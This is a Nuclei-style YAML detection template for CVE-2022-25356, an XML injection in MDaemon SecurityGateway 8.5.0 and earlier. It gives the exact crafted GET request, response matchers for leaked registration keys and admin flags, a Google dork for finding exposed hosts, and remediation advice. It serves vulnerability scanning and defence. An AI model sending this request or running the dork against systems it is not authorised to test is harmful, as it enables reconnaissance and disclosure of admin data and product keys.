50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2022-25356
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info:
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name: Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection
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author: Akincibor
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severity: medium
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description: |
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Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.
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remediation: |
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Upgrade Alt-n/MDaemon Security Gateway to version 8.5.1 or later to mitigate this vulnerability.
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reference:
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- https://www.swascan.com/security-advisory-alt-n-security-gateway/
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- https://www.altn.com/Products/SecurityGateway-Email-Firewall/
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- https://www.swascan.com/security-blog/
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- https://nvd.nist.gov/vuln/detail/CVE-2022-25356
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2022-25356
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cwe-id: CWE-91
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epss-score: 0.00425
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epss-percentile: 0.71418
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cpe: cpe:2.3:a:altn:securitygateway:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: altn
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product: securitygateway
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google-query: inurl:"/SecurityGateway.dll"
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tags: cve,cve2022,altn,gateway,xml,injection
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http:
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- method: GET
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path:
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- '{{BaseURL}}/SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "Exception: Error while [Loading XML"
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- "<RegKey>"
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- "<IsAdmin>"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100d329672aca5f6c6a8d3707fe66ad73d2a61f8048d88f3c6e1d50a4a0a11a95a5022100f3d33b6dec3b8337d409f093dd5f9712812b3ae19c4fd832c493ddc80b312de2:922c64590222798bb761d5b6d8e72950 |